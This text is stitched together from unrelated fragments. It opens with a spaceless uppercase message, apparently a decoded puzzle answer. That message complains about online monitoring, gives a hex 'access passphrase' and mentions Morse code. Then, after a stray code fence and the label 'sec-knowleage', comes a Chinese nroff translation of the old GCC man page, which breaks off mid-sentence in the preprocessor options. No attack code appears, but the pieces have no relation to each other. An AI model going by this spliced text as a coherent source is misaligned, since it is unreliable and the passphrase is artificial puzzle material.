ITISEXTREMELYINTERESTINGWHENYOUFINDOUTTHATASIMPLEENCODINGSCHEMECANPRODUCESOMUCHOFAHEADACHECOMPUTERNOWADAYSAREPARTOFOURDAILYLIVESCOMINGFROMTECHNOLOGYWHEREITISGETTINGBETTERFASTERANDMOREIMPLEMENTEDINTOOURDAILYLIVESEVERYDAYWECANTRESISTHOWIMPORTANTITISFOREVERYTHINGWEDOBASICALLYITWASMADETOMAKEOURWORKEASYANDFASTMOSTPEOPLESEEOURFUTUREBEINGBASEDONTECHNOLOGYANDITISEVENIMPORTANTINTODAYSLIFEBUTONTHEOTHERHANDTHEREARESEVERALAUTHORITIESTHATCHECKEVERYMOVETHATISDONEINTHEONLINEENVIRONMENTEVERYEMAILEVERYMESSAGEFROMFACEBOOKISCHECKEDTHEYLOOKFORBADGUYSITISLEGITBUTYOUCANTDOYOURWIFEVIRTUALLYWITHOUTHAVINGSOMEOTHERPAIRSOFEYESWATCHINGITITISUNACCEPTABLEBUTITISTHEREALITYWELIVEINANDTHEACCESSPASSPHRASEIS52417147035FBEC3582C6EE0C2601574IHOPETHATTHEONESWATCHINGITFORGOTABOUTMORSECODEANDTHATTHE885CHARACTERSUSEDBEFOREWILLMISLEADTHEMIAMWISHINGYOUGOODLUCKMYFRIENDANDLETSHOPENONEOFUSGETSCAUGHTPSIBOUGHTTHESPACESHIP ```
sec-knowleage
.\" Copyright (c) 1991, 1992, 1993, 1994 Free Software Foundation -*-nroff-*- .\" See section COPYING for conditions for redistribution .\" .\" project 工程 .\" .de Id .ds Rv \\$3 .ds Dt \\$4 .. .de Sp .if n .sp .if t .sp 0.4 .. .TH GCC 1 "" "GNU Tools" "GNU Tools" .SH NAME gcc, g++ \- GNU 工程的 C 和 C++ 编译器 (egcs-1.1.2) .SH "总览 (SYNOPSIS)" .B gcc .RI "[ " option " | " filename " ].\|.\|." .br .B g++ .RI "[ " option " | " filename " ].\|.\|." .SH "警告 (WARNING)" 本手册页 内容 摘自 GNU C 编译器 的 完整文档, 仅限于 解释 选项 的 含义. .PP 除非 有人 自愿 维护, 否则 本手册页 不再 更新. 如果 发现 手册页 和 软件 之间 有所矛盾, 请 查对 Info 文件, Info 文件 是 权威 文档. .PP 如果 我们 发觉 本手册页 的 内容 由于 过时 而 导致 明显 的 混乱 和 抱怨 时, 我们 就 停止 发布 它. 不可能有 其他 选择, 象 更新 Info 文件 同时 更新 man 手册, 因为 其他 维护 GNU CC 的 工作 没有 留给 我们 时间 做 这个. GNU 工程 认为 man 手册 是 过时产物, 应该 把 时间 用到 别的地方. .PP 如果 需要 完整 和 最新 的 文档, 请 查阅 Info 文件 `\|\c .B gcc\c \&\|' 或 .I Using and Porting GNU CC (for version 2.0) (使用和移植 GNU CC 2.0) \c \& 手册. 二者 均 来自 Texinfo 原文件 .BR gcc.texinfo . .SH "描述 (DESCRIPTION)" C 和 C++ 编译器 是 集成的. 他们 都要 用 四个步骤 中的 一个 或 多个 处理 输入文件: 预处理(preprocessing), 编译(compilation), 汇编(assembly) 和 连接(linking). 源文件后缀名 标识 源文件 的 语言, 但是 对 编译器 来说, 后缀名 控制着 缺省设定: .TP .B gcc 认为 预处理后的 文件 (\c .B .i\c \&) 是 C 文件, 并且 设定 C 形式 的 连接. .TP .B g++ 认为 预处理后的 文件 (\c .B .i\c \&) 是 C++ 文件, 并且 设定 C++ 形式 的 连接. .PP 源文件后缀名 指出 语言种类 以及 后期 的 操作: .Sp .nf .ta \w'\fB.cxx\fP 'u \&\fB.c\fP C 源程序; 预处理, 编译, 汇编 \&\fB.C\fP C++ 源程序; 预处理, 编译, 汇编 \&\fB.cc\fP C++ 源程序; 预处理, 编译, 汇编 \&\fB.cxx\fP C++ 源程序; 预处理, 编译, 汇编 \&\fB.m\fP Objective-C 源程序; 预处理, 编译, 汇编 \&\fB.i\fP 预处理后的 C 文件; 编译, 汇编 \&\fB.ii\fP 预处理后的 C++ 文件; 编译, 汇编 \&\fB.s\fP 汇编语言源程序; 汇编 \&\fB.S\fP 汇编语言源程序; 预处理, 汇编 \&\fB.h\fP 预处理器文件; 通常 不出现在 命令行 上 .Sp .fi 其他 后缀名 的 文件 被传递 给 连接器(linker). 通常 包括: .Sp .nf \&\fB.o\fP 目标文件 (Object file) \&\fB.a\fP 归档库文件 (Archive file) .br .fi .Sp 除非 使用了 .BR \-c , .BR \-S , 或 .B \-E 选项 (或者 编译错误 阻止了 完整 的 过程), 否则 连接 总是 最后的步骤. 在 连接阶段 中, 所有 对应于 源程序 的 .B .o 文件, .B \-l 库文件, 无法 识别 的 文件名 (包括 指定的 .B .o 目标文件 和 .B .a 库文件) 按 命令行中 的 顺序 传递给 连接器. .SH "选项 (OPTIONS)" 选项 必须 分立 给出: `\|\c .B \-dr\c \&\|' 完全 不同于 `\|\c .B \-d \-r \&\|'. .PP 大多数 `\|\c .B \-f\c \&\|' 和 `\|\c .B \-W\c \&\|' 选项 有 两个 相反 的 格式: .BI \-f name 和 .BI \-fno\- name\c \& (或 .BI \-W name 和 .BI \-Wno\- name\c \&). 这里 只列举 不是 默认选项 的 格式. .PP 下面 是 所有 选项 的 摘要, 按 类型 分组, 解释 放在 后面 的 章节 中. .hy 0 .na .TP .B 总体选项 (Overall Option) .br \-c \-S \-E .RI "\-o " file \-pipe \-v .RI "\-x " language .TP .B 语言选项 (Language Option) \-ansi \-fall\-virtual \-fcond\-mismatch \-fdollars\-in\-identifiers \-fenum\-int\-equiv \-fexternal\-templates \-fno\-asm \-fno\-builtin \-fhosted \-fno\-hosted \-ffreestanding \-fno\-freestanding \-fno\-strict\-prototype \-fsigned\-bitfields \-fsigned\-char \-fthis\-is\-variable \-funsigned\-bitfields \-funsigned\-char \-fwritable\-strings \-traditional \-traditional\-cpp \-trigraphs .TP .B 警告选项 (Warning Option) \-fsyntax\-only \-pedantic \-pedantic\-errors \-w \-W \-Wall \-Waggregate\-return \-Wcast\-align \-Wcast\-qual \-Wchar\-subscript \-Wcomment \-Wconversion \-Wenum\-clash \-Werror \-Wformat .RI \-Wid\-clash\- len \-Wimplicit \-Wimplicit\-int \-Wimplicit\-function\-declaration \-Winline \-Wlong\-long \-Wmain \-Wmissing\-prototypes \-Wmissing\-declarations \-Wnested\-externs \-Wno\-import \-Wparentheses \-Wpointer\-arith \-Wredundant\-decls \-Wreturn\-type \-Wshadow \-Wstrict\-prototypes \-Wswitch \-Wtemplate\-debugging \-Wtraditional \-Wtrigraphs \-Wuninitialized \-Wunused \-Wwrite\-strings .TP .B 调试选项 (Debugging Option) \-a .RI \-d letters \-fpretend\-float \-g .RI \-g level \-gcoff \-gxcoff \-gxcoff+ \-gdwarf \-gdwarf+ \-gstabs \-gstabs+ \-ggdb \-p \-pg \-save\-temps .RI \-print\-file\-name= library \-print\-libgcc\-file\-name .RI \-print\-prog\-name= program .TP .B 优化选项 (Optimization Option) \-fcaller\-saves \-fcse\-follow\-jumps \-fcse\-skip\-blocks \-fdelayed\-branch \-felide\-constructors \-fexpensive\-optimizations \-ffast\-math \-ffloat\-store \-fforce\-addr \-fforce\-mem \-finline\-functions \-fkeep\-inline\-functions \-fmemoize\-lookups \-fno\-default\-inline \-fno\-defer\-pop \-fno\-function\-cse \-fno\-inline \-fno\-peephole \-fomit\-frame\-pointer \-frerun\-cse\-after\-loop \-fschedule\-insns \-fschedule\-insns2 \-fstrength\-reduce \-fthread\-jumps \-funroll\-all\-loops \-funroll\-loops \-O \-O2 \-O3 .TP .B 预处理器选项 (Preprocessor Option) .RI \-A assertion \-C \-dD \-dM \-dN .RI \-D macro [\|= defn \|] \-E \-H .RI "\-idirafter " dir .RI "\-include " file .RI "\-imacros " file .RI "\-iprefix " file .RI "\-iwithprefix " dir \-M \-MD \-MM \-MMD \-nostdinc \-P .RI \-U macro \-undef .TP .B 汇编器选项 (Assembler Option) .RI \-Wa, option .TP .B 连接器选项 (Linker Option) .RI \-l library \-nostartfiles \-nostdlib \-static \-shared \-symbolic .RI "\-Xlinker\ " option .RI \-Wl, option .RI "\-u " symbol .TP .B 目录选项 (Directory Option) .RI \-B prefix .RI \-I dir \-I\- .RI \-L dir .TP .B 目标机选项 (Target Option) .RI "\-b " machine .RI "\-V " version .TP .B 配置相关选项 (Configuration Dependent Option) .I M680x0\ 选项 .br \-m68000 \-m68020 \-m68020\-40 \-m68030 \-m68040 \-m68881 \-mbitfield \-mc68000 \-mc68020 \-mfpa \-mnobitfield \-mrtd \-mshort \-msoft\-float .Sp .I VAX 选项 .br \-mg \-mgnu \-munix .Sp .I SPARC 选项 .br \-mepilogue \-mfpu \-mhard\-float \-mno\-fpu \-mno\-epilogue \-msoft\-float \-msparclite \-mv8 \-msupersparc \-mcypress .Sp .I Convex 选项 .br \-margcount \-mc1 \-mc2 \-mnoargcount .Sp .I AMD29K 选项 .br \-m29000 \-m29050 \-mbw \-mdw \-mkernel\-registers \-mlarge \-mnbw \-mnodw \-msmall \-mstack\-check \-muser\-registers .Sp .I M88K 选项 .br \-m88000 \-m88100 \-m88110 \-mbig\-pic \-mcheck\-zero\-division \-mhandle\-large\-shift \-midentify\-revision \-mno\-check\-zero\-division \-mno\-ocs\-debug\-info \-mno\-ocs\-frame\-position \-mno\-optimize\-arg\-area \-mno\-serialize\-volatile \-mno\-underscores \-mocs\-debug\-info \-mocs\-frame\-position \-moptimize\-arg\-area \-mserialize\-volatile .RI \-mshort\-data\- num \-msvr3 \-msvr4 \-mtrap\-large\-shift \-muse\-div\-instruction \-mversion\-03.00 \-mwarn\-passed\-structs .Sp .I RS6000 选项 .br \-mfp\-in\-toc \-mno\-fop\-in\-toc .Sp .I RT 选项 .br \-mcall\-lib\-mul \-mfp\-arg\-in\-fpregs \-mfp\-arg\-in\-gregs \-mfull\-fp\-blocks \-mhc\-struct\-return \-min\-line\-mul \-mminimum\-fp\-blocks \-mnohc\-struct\-return .Sp .I MIPS 选项 .br \-mcpu=\fIcpu type\fP \-mips2 \-mips3 \-mint64 \-mlong64 \-mmips\-as \-mgas \-mrnames \-mno\-rnames \-mgpopt \-mno\-gpopt \-mstats \-mno\-stats \-mmemcpy \-mno\-memcpy \-mno\-mips\-tfile \-mmips\-tfile \-msoft\-float \-mhard\-float \-mabicalls \-mno\-abicalls \-mhalf\-pic \-mno\-half\-pic \-G \fInum\fP \-nocpp .Sp .I i386 选项 .br \-m486 \-mno\-486 \-msoft\-float \-mno\-fp\-ret\-in\-387 .Sp .I HPPA 选项 .br \-mpa\-risc\-1\-0 \-mpa\-risc\-1\-1 \-mkernel \-mshared\-libs \-mno\-shared\-libs \-mlong\-calls \-mdisable\-fpregs \-mdisable\-indexing \-mtrailing\-colon .Sp .I i960 选项 .br \-m\fIcpu-type\fP \-mnumerics \-msoft\-float \-mleaf\-procedures \-mno\-leaf\-procedures \-mtail\-call \-mno\-tail\-call \-mcomplex\-addr \-mno\-complex\-addr \-mcode\-align \-mno\-code\-align \-mic\-compat \-mic2.0\-compat \-mic3.0\-compat \-masm\-compat \-mintel\-asm \-mstrict\-align \-mno\-strict\-align \-mold\-align \-mno\-old\-align .Sp .I DEC Alpha 选项 .br \-mfp\-regs \-mno\-fp\-regs \-mno\-soft\-float \-msoft\-float .Sp .I System V 选项 .br \-G \-Qy \-Qn .RI \-YP, paths .RI \-Ym, dir .TP .B 代码生成选项 (Code Generation Option) .RI \-fcall\-saved\- reg .RI \-fcall\-used\- reg .RI \-ffixed\- reg \-finhibit\-size\-directive \-fnonnull\-objects \-fno\-common \-fno\-ident \-fno\-gnu\-linker \-fpcc\-struct\-return \-fpic \-fPIC \-freg\-struct\-return \-fshared\-data \-fshort\-enums \-fshort\-double \-fvolatile \-fvolatile\-global \-fverbose\-asm .ad b .hy 1 .SH "总体选项 (Overall Option)" .TP .BI "\-x " "language" 明确 指出 后面 输入文件 的 语言 为 .I language\c \& (而不是 从 文件名后缀 得到的 默认选择). 这个选项 应用于 后面 所有的 输入文件, 直到 遇着 下一个 `\|\c .B \-x\c \&\|' 选项. \c .I language\c \& 的 可选值 有 `\|\c .B c\c \&\|', `\|\c .B objective\-c\c \&\|', `\|\c .B c\-header\c \&\|', `\|\c .B c++\c \&\|', `\|\c .B cpp\-output\c \&\|', `\|\c .B assembler\c \&\|', 和 `\|\c .B assembler\-with\-cpp\c \&\|'. .TP .B \-x none 关闭 任何 对 语种 的 明确说明, 因此 依据 文件名后缀 处理 后面 的 文件 (就象是 从未 使用过 `\|\c .B \-x\c \&\|' 选项). .PP 如果 只操作 四个阶段 (预处理, 编译, 汇编, 连接) 中的 一部分, 可以 使用 `\|\c .B \-x\c \&\|' 选项 (或 文件名后缀) 告诉 \c .B gcc\c \& 从 哪里 开始, 用 `\|\c .B \-c\c \&\|', `\|\c .B \-S\c \&\|', 或 `\|\c .B \-E\c \&\|' 选项 告诉 .B gcc\c \& 到 哪里 结束. 注意, 某些 选项组合 (例如, `\|\c .B \-x cpp\-output \-E\c \&\|') 使 \c .B gcc\c \& 不作 任何事情. .TP .B \-c 编译 或 汇编 源文件, 但是 不作 连接. 编译器 输出 对应于 源文件 的 目标文件. .Sp 缺省情况下, GCC 通过 用 `\|\c .B .o\c \&\|' 替换 源文件名后缀 `\|\c .B .c\c \&\|', `\|\c .B .i\c \&\|', `\|\c .B .s\c \&\|', 等等, 产生 目标文件名. 可以 使用 .B \-o\c \& 选项 选择 其他 名字. .Sp GCC 忽略 .B \-c 选项 后面 任何 无法 识别 的 输入文件 (他们 不需要 编译 或 汇编). .TP .B \-S 编译 后 即停止, 不进行 汇编. 对于 每个 输入的 非汇编语言 文件, 输出文件 是 汇编语言 文件. .Sp 缺省情况下, GCC 通过 用 `\|\c .B .o\c \&\|' 替换 源文件名后缀 `\|\c .B .c\c \&\|', `\|\c .B .i\c \&\|', 等等, 产生 目标文件名. 可以 使用 .B \-o\c \& 选项 选择 其他 名字. .Sp GCC 忽略 任何 不需要 编译 的 输入文件. .TP .B \-E 预处理 后 即停止, 不进行 编译. 预处理后的 代码 送往 标准输出. .Sp GCC 忽略 任何 不需要 预处理 的 输入文件. .TP .BI "\-o " file 指定 输出文件 为 \c .I file\c \&. 该选项 不在乎 GCC 产生 什么 输出, 无论是 可执行文件, 目标文件, 汇编文件 还是 预处理后的 C 代码. .Sp 由于 只能 指定 一个 输出文件, 因此 编译 多个 输入文件 时, 使用 `\|\c .B \-o\c \&\|' 选项 没有 意义, 除非 输出 一个 可执行文件. .Sp 如果 没有 使用 `\|\c .B \-o\c \&\|' 选项, 默认的 输出 结果 是: 可执行文件 为 `\|\c .B a.out\c \&\|', `\|\c .I source\c .B \&.\c .I suffix\c \&\c \&\|' 的 目标文件 是`\|\c .I source\c .B \&.o\c \&\|', 汇编文件 是 `\|\c .I source\c .B \&.s\c \&\|', 而 预处理后的 C 源代码 送往 标准输出. .TP .B \-v (在 标准错误) 显示 执行 编译 阶段 的 命令. 同时 显示 编译器 驱动程序, 预处理器, 编译器 的 版本号. .TP .B \-pipe 在 编译过程 的 不同 阶段 间 使用 管道 而非 临时文件 进行 通信. 这个 选项 在 某些 系统 上 无法 工作, 因为 那些 系统 的 汇编器 不能 从 管道 读取 数据. GNU 的 汇编器 没有 这个问题. .PP .SH "语言选项 (LANGUAGE OPTIONS)" 下列 选项 控制 编译器 能够 接受 的 C "方言": .TP .B \-ansi 支持 符合 ANSI 标准的 C 程序. .Sp 这样 就会 关闭 GNU C 中 某些 不兼容 ANSI C 的 特性, 例如 \c .B asm\c \&, \c .B inline\c \& 和 \c .B typeof 关键字, 以及 诸如 \c .B unix\c \& 和 \c .B vax 这些 表明 当前系统 类型 的 预定义宏. 同时 开启 不受欢迎 和 极少使用的 ANSI trigraph 特性, 以及 禁止 `\|\c .B $\c \&\|' 成为 标识符 的 一部分. .Sp 尽管 使用了 `\|\c .B \-ansi\c \&\|' 选项, 下面 这些 可选的 关键字, \c .B _\|_asm_\|_\c \&, \c .B _\|_extension_\|_\c \&, .B _\|_inline_\|_\c \& 和 \c .B _\|_typeof_\|_\c \& 仍然 有效. 你 当然 不会 把 他们 用在 ANSI C 程序 中, 但可以 把 他们 放在 头文件 里, 因为 编译 包含 这些 头文件 的 程序 时, 可能会 指定 `\|\c .B \-ansi\c \&\|' 选项. 另外一些 预定义宏, 如 \c .B _\|_unix_\|_\c \& 和 \c .B _\|_vax_\|_\c \&, 无论 有没有 使用 `\|\c .B \-ansi\c \&\|' 选项, 始终 有效. .Sp 使用 `\|\c .B \-ansi\c \&\|' 选项 不会 自动 拒绝 编译 非ANSI程序, 除非 增加 `\|\c .B \-pedantic\c \&\|' 选项 作为 `\|\c .B \-ansi\c \&\|' 选项 的 补充. .Sp 使用 `\|\c .B \-ansi\c \&\|' 选项 的 时候, 预处理器 会 预定义 一个 \c .B _\|_STRICT_ANSI_\|_\c \& 宏. 有些 头文件 关注 此宏, 以 避免 声明 某些函数, 或者 避免 定义 某些宏, 这些 函数 和 宏 不被 ANSI 标准 调用; 这样 就不会 干扰 在 其他地方 使用 这些 名字 的 程序 了. .TP .B \-fno\-asm 不把 \c .B asm\c \&, \c .B inline\c \& 或 \c .B typeof\c \& 当作 关键字, 因此 这些 词 可以 用做 标识符. 用 \c .B _\|_asm_\|_\c \&, \c .B _\|_inline_\|_\c \& 和 \c .B _\|_typeof_\|_\c \& 能够 替代 他们. `\|\c .B \-ansi\c \&\|' 隐含声明了 `\|\c .B \-fno\-asm\c \&\|'. .TP .B \-fno\-builtin 不接受 不是 两个 下划线 开头 的 内建函数 (built-in function). 目前 受影响 的 函数 有 \c .B _exit\c \&, .B abort\c \&, \c .B abs\c \&, \c .B alloca\c \&, \c .B cos\c \&, \c .B exit\c \&, .B fabs\c \&, \c .B labs\c \&, \c .B memcmp\c \&, \c .B memcpy\c \&, \c .B sin\c \&, .B sqrt\c \&, \c .B strcmp\c \&, \c .B strcpy\c \&, 和 \c .B strlen\c \&. .Sp `\|\c .B \-ansi\c \&\|' 选项 能够 阻止 \c .B alloca\c \& 和 \c .B _exit\c \& 成为 内建函数. .TP .B \-fhosted 按 宿主环境 编译; 他 隐含 声明了 `\|\c .B \-fbuiltin\c \&\|' 选项, 而且 警告 不正确的 .B main\c \& 函数 声明. .TP .B \-ffreestanding 按 独立环境 编译; 他 隐含 声明了 `\|\c .B \-fno-builtin\c \&\|' 选项, 而且 对 .B main\c \& 函数 没有 特别要求. (译注: 宿主环境 (hosted environment) 下 所有的 标准库 可用, main 函数 返回 一个 int 值, 典型例子 是 除了 内核 以外 几乎 所有的 程序. 对应的 独立环境 (freestanding environment) 不存在 标准库, 程序 入口 也 不一定是 main, 最明显 的 例子 就是 操作系统内核. 详情 参考 gcc 网站 最近的 资料) .TP .B \-fno\-strict\-prototype 对于 没有 参数 的 函数声明, 例如 `\|\c .B int foo ();\c \&\|', 按 C 风格 处理\(em\&即 不说明 参数 个数 或 类型. (仅针对 C++). 正常情况下, 这样的 函数 \c .B foo\c \& 在 C++ 中 意味着 参数 为 空. .TP .B \-trigraphs 支持 ANSI C trigraphs. `\|\c .B \-ansi\c \&\|' 选项 隐含声明了 `\|\c .B \-trigraphs\c \&\|'. .TP .B \-traditional 试图 支持 传统 C 编译器 的 某些方面. 详见 GNU C 手册, 我们 已经把 细节清单 从这里 删除, 这样 当内容 过时后, 人们 也不会 埋怨 我们. .Sp 除了 一件事: 对于 C++ 程序 (不是 C), `\|\c .B \-traditional\c \&\|' 选项 带来 一个 附加效应, 允许 对 .B this 赋值. 他 和 `\|\c .B \-fthis\-is\-variable\c \&\|' 选项 的 效果 一样. .TP .B \-traditional\-cpp 试图 支持 传统 C 预处理器 的 某些方面. 特别是 上面 提到 有关 预处理器 的 内容, 但是 不包括 `\|\c .B \-traditional\c \&\|' 选项 的 其他 效应. .TP .B \-fdollars\-in\-identifiers 允许 在 标识符(identifier) 中 使用 `\|\c .B $\c \&\|' 字符 (仅针对 C++). 你 可以 指定 `\|\c .B \-fno\-dollars\-in\-identifiers\c \&\|' 选项 显明 禁止 使用 `\|\c .B $\c \&\|' 符. (GNU C++ 在 某些 目标系统 缺省允许 `\|\c .B $\c \&\|' 符, 但不是 所有系统.) .TP .B \-fenum\-int\-equiv 允许 \c .B int\c \& 类型 到 枚举类型 (enumeration) 的 隐式转换 (仅限于 C++). 正常情况下 GNU C++ 允许 从 \c .B enum\c \& 到 \c .B int\c \& 的 转换, 反之则 不行. .TP .B \-fexternal\-templates 为 模板声明 (template declaration) 产生 较小的 代码 (仅限于 C++), 方法 是 对于 每个 模板函数 (template function), 只在 定义 他们 的 地方 生成 一个 副本. 想要 成功 使用 这个选项, 你 必须 在 所有 使用 模板 的 文件 中, 标记 `\|\c .B #pragma implementation\c \&\|' (定义) 或 `\|\c .B #pragma interface\c \&\|' (声明). 当 程序 用 `\|\c .B \-fexternal\-templates\c \&\|' 编译 时, 模板实例 (template instantiation) 全部是 外部类型. 你 必须 让 需要的 实例 在 实现文件 中 出现. 可以 通过 \c .B typedef\c \& 实现 这一点, 他 引用 所需的 每个 实例. 相对应的, 如果 编译时 使用 缺省选项 `\|\c .B \-fno\-external\-templates\c \&\|', 所有 模板实例 明确的 设为 内置. .TP .B \-fall\-virtual 所有 可能的 成员函数 默认为 虚函数. 所有的 成员函数 (除了 构造子函数 和 .B new 或 .B delete 成员操作符) 视为 所在类 的 虚函数. .Sp 这 不表明 每次 调用 成员函数 都将 通过 内部 虚函数表. 有些 情况 下, 编译器 能够 判断出 可以 直接 调用 某个 虚函数; 这时 就 直接 调用. .TP .B \-fcond\-mismatch 允许 条件表达式 的 第二 和 第三个 参数 的 类型 不匹配. 这种 表达式 的 值 是 void. .TP .B \-fthis\-is\-variable 允许 对 \c .B this\c \& 赋值 (仅对 C++). 合并 用户自定义 的 自由存储管理 机制 到 C++ 后, 使 可赋值 的 `\|\c .B this\c \&\|' 显得 不合时宜. 因此, 默认 情况 下, 类成员函数 内部 对 \c .B this\c \& 赋值 是 无效操作. 然而 为了 向后兼容, 你 可以 通过 `\|\c .B \-fthis-is-variable\c \&\|' 选项 使 这种 操作 有效. .TP .B \-funsigned\-char 把 \c .B char\c \& 定义为 无符号 类型, 如同 \c .B unsigned char\c \&. .Sp 各种 机器 都有 自己 缺省的 \c .B char\c \& 类型. 既 可能 是 \c .B unsigned char\c \& 也 可能是 .B signed char\c \& . .Sp 理想情况下, 当 依赖于 数据的 符号性 时, 一个 可移植程序 总是 应该 使用 \c .B signed char\c \& 或 .B unsigned char\c \&. 但是 许多 程序 已经 写成 只用 简单的 \c .B char\c \&, 并且 期待 这是 有符号数 (或者 无符号数, 具体情况 取决于 编写 程序 的 目标机器). 这个选项, 和 它的 反义选项, 使 那样的 程序 工作在 对应的 默认值 上. .Sp .B char 的 类型 始终 应该 明确定义 为 .B signed char\c \& 或 \c .B unsigned char\c \&, 即使 它 表现的 和 其中之一 完全一样. .TP .B \-fsigned\-char 把 \c .B char\c \& 定义为 有符号 类型, 如同 \c .B signed char\c \&. .Sp 这个 选项 等同于 `\|\c .B \-fno\-unsigned\-char\c \&\|', 他是 the negative form of `\|\c .B \-funsigned\-char\c \&\|' 的 相反 选项. 同样, `\|\c .B \-fno\-signed\-char\c \&\|' 等价于 `\|\c .B \-funsigned\-char\c \&\|'. .TP .B \-fsigned\-bitfields .TP .B \-funsigned\-bitfields .TP .B \-fno\-signed\-bitfields .TP .B \-fno\-unsigned\-bitfields 如果 没有 明确 声明 `\|\c .B signed\c \&\|' 或 `\|\c .B unsigned\c \&\|' 修饰符, 这些 选项 用来 定义 有符号位域 (bitfield) 或 无符号位域. 缺省情况下, 位域 是 有符号 的, 因为 他们 继承的 基本 整数类型, 如 .B int\c \&, 是 有符号数. .Sp 然而, 如果 指定了 `\|\c .B \-traditional\c \&\|' 选项, 位域 永远 是 无符号数. .TP .B \-fwritable\-strings 把 字符串常量 存储到 可写数据段, 而且 不做 特别 对待. 这是 为了 兼容 一些 老程序, 他们 假设 字符串常量 是 可写的. `\|\c .B \-traditional\c \&\|' 选项 也有 相同 效果. .Sp 篡改 字符串常量 是一个 非常 糟糕的 想法; \*(lq常量\*(rq 就应该是 常量. .SH "预处理器选项 (Preprocessor Option)" 下列 选项 针对 C 预处理器, 预处理器 用在 正式 编译 以前, 对 C 源文件 进行 某种处理. .PP 如果 指定了 `\|\c .B \-E\c \&\|' 选项, GCC 只进行 预处理 工作. 下面的 某些 选项 必须 和 `\|\c .B \-E\c \&\|' 选项 一起 才 有意义, 因为 他们的 输出结果 不能 用于 编译. .TP .BI "\-include " "file" 在 处理 常规 输入文件 之前, 首先 处理 文件 \c .I file\c \&, 其结果是, 文件 \c .I file\c \& 的 内容 先得到 编译. 命令行上 任何 `\|\c .B \-D\c \&\|' 和 `\|\c .B \-U\c \&\|' 选项 永远 在 `\|\c .B \-include \c .I file\c \&\c \&\|' 之前 处理, 无论 他们 在 命令行上 的 顺序 如何. 然而 `\|\c .B \-include\c \&\|' 和 `\|\c .B \-imacros\c \&\|' 选项 按 书写顺序 处理. .TP .BI "\-imacros " file 在 处理 常规 输入文件 之前, 首先 处理 文件 \c .I file\c \&, 但是 忽略 输出结果. 由于 丢弃了 文件 .I file\c \& 的 输出内容, `\|\c .B \-imacros \c .I file\c \&\c \&\|' 选项 的 唯一 效果 就是 使 文件 \c .I file\c \& 中 的 宏定义 生效, 可以 用于 其他 输入文件. 在 处理 `\|\c .B \-imacros\c .I file\c \&\|' 选项 之前, 预处理器 首先 处理 `\|\c .B \-D\c \&\|' 和 `\|\c .B \-U\c \&\|' 选项, 并不在乎 他们 在 命令行上 的 顺序. 然而 `\|\c .B \-include\c \&\|' 和 `\|\c .B \-imacros\c \&\|' 选项 按 书写顺序 处理. .TP .BI "\-idirafter " "dir" 把 目录 \c .I dir\c \& 添加到 第二包含路径 中. 如果 某个 头文件 在 主包含路径 (用`\|\c .B \-I\c \&\|' 添加的 路径) 中 没有 找到, 预处理器 就搜索 第二包含路径. .TP .BI "\-iprefix " "prefix" 指定 \c .I prefix\c \& 作为 后续 `\|\c .B \-iwithprefix\c \&\|' 选项 的 前缀. .TP .BI "\-iwithprefix " "dir" 把 目录 添加到 第二包含路径 中. 目录名 由 \c .I prefix\c \& 和 \c .I dir\c \& 合并 而成, 这里 \c .I prefix 被 先前的 `\|\c .B \-iprefix\c \&\|' 选项 指定. .TP .B \-nostdinc 不要 在 标准系统目录 中 寻找 头文件. 只 搜索 `\|\c .B \-I\c \&\|' 选项 指定的 目录 (以及 当前目录, 如果 合适). .Sp 结合 使用 `\|\c .B \-nostdinc\c \&\|' 和 `\|\c .B \-I\-\c \&\|' 选项, 你 可以 把 包含文件 搜索 限制在 显式 指定的 目录. .TP .B \-nostdinc++ 不要 在 C++ 专用标准目录 中 寻找 头文件, 但是 仍然 搜索 其他 标准目录. (当 建立 `\|\c .B libg++\c \&\|' 时 使用 这个选项.) .TP .B \-undef 不要 预定义 任何 非标准宏. (包括 系统结构 标志). .TP .B \-E 仅运行 C 预处理器. 预处理 所有 指定的 C 源文件, 结果 送往 标准输出 或 指定的 输出文件. .TP .B \-C 告诉 预处理器 不要 丢弃 注释. 配合 `\|\c .B \-E\c \&\|' 选项 使用. .TP .B \-P 告诉 预处理器 不要 产生 `\|\c .B #line\c \&\|' 命令. 配合 `\|\c .B \-E\c \&\|' 选项 使用. .TP .B \-M\ [ \-MG ] 告诉 预处理器 输出 一个 适合 \c .B make 的 规则, 用于 描述 各目标文件的 依赖 关系. 对于 每个 源文件, 预处理器 输出 一个 \c .B make 规则, 该规则 的 目标项 (target) 是 源文件 对应的 目标文件名, 依赖项 (dependency) 是 源文件中 `\|\c .B #include\c \&\| 引用的 所有文件. 生成的 规则 可以是 单行, 但如果 太长, 就用 `\|\c .B \e\c \&\|'-换行符 续成 多行. 规则 显示在 标准输出, 不产生 预处理过的 C 程序. .Sp `\|\c .B \-M\c \&\|' 隐含了 `\|\c .B \-E\c \&\|' 选项. .Sp `\|\c .B \-MG\c \&\|' 要求 把 缺失的 头文件 按 存在 对待, 并且 假定 他们 和 源程序文件 在 同一目录 下. 必须 和 `\|\c .B \-M\c \&\|' 选项 一起用. .TP .B \-MM\ [ \-MG ] 和 `\|\c .B \-M\c \&\|' 选项 类似, 但是 输出结果 仅涉及 用户头文件, 象 这样 `\|\c .B #include \&"\c .I file\c \&"\c \&\|'. 忽略 系统头文件 如 `\|\c .B #include <\c .I file\c \&>\c \&\|'. .TP .B \-MD 和 `\|\c .B \-M\c \&\|' 选项 类似, 但是 把 依赖 信息 输出在 文件中, 文件名 通过 把 输出文件名 末尾的 `\|\c .B .o\c \&\|' 替换为 `\|\c .B .d\c \&\|' 产生. 同时 继续 指定的 编译工作 \(em\&`\|\c .B \-MD\c \&\|' 不象 `\|\c .B \-M\c \&\|' 那样 阻止 正常的 编译任务. .Sp Mach 的 实用工具 `\|\c .B md\c \&\|' 能够 合并 `\|\c .B .d\c \&\|' 文件, 产生 适用于 `\|\c .B make\c \&\|' 命令 的 单一的 依赖文件. .TP .B \-MMD 和 `\|\c .B \-MD\c \&\|' 选项 类似, 但是 输出结果 仅涉及 用户头文件, 忽略 系统头文件. .TP .B \-H 除了 其他 普通 的 操作, GCC 显示 引用过的 头文件 名. .TP .BI "\-A" "question" ( answer ) 如果 预处理器 做 条件测试, 如 `\|\c .BI "#if #" question ( answer )\c \&\|', 该选项 可以 断言 (Assert) .I question 的 答案 是 .I answer. .B \-A\-\c \&\|' 关闭 一般用于 描述 目标机 的 标准 断言. .TP .BI \-D macro 定义 宏 \c .I macro\c \&, 宏 的 内容 定义为 字符串 `\|\c .B 1\c \&\|'. .TP .BI \-D macro = defn 定义 宏 \c .I macro\c \& 的 内容 为 \c .I defn\c \&. 命令行 上 所有的 `\|\c .B \-D\c \&\|' 选项 在 `\|\c .B \-U\c 